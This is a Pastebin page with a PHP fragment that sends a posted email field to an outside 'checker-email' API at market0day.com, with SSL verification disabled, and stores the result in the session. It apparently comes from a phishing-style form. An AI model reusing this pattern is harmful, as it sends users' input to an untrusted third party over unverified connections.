Advertisement
Guest User

Untitled

a guest
Jul 15th, 2019
189
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.57 KB | None | 0 0
  1. $ch=curl_init();
  2. curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);
  3. curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
  4. curl_setopt($ch,CURLOPT_URL,"https://market0day.com/api/checker-email.php?email=".$_POST['spox01']."");
  5. curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,0);
  6. curl_setopt($ch,CURLOPT_TIMEOUT,400);
  7. $json=curl_exec($ch);
  8. $code=json_decode($json);
  9. $email_check = $code->status;
  10.  
  11. $_SESSION['email_check'] = $email_check;
  12.  
  13. if ($_SESSION['email_check'] == 'invalid' || $_SESSION['email_check'] == '209'){
  14. // enter your code here if invalid
  15. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement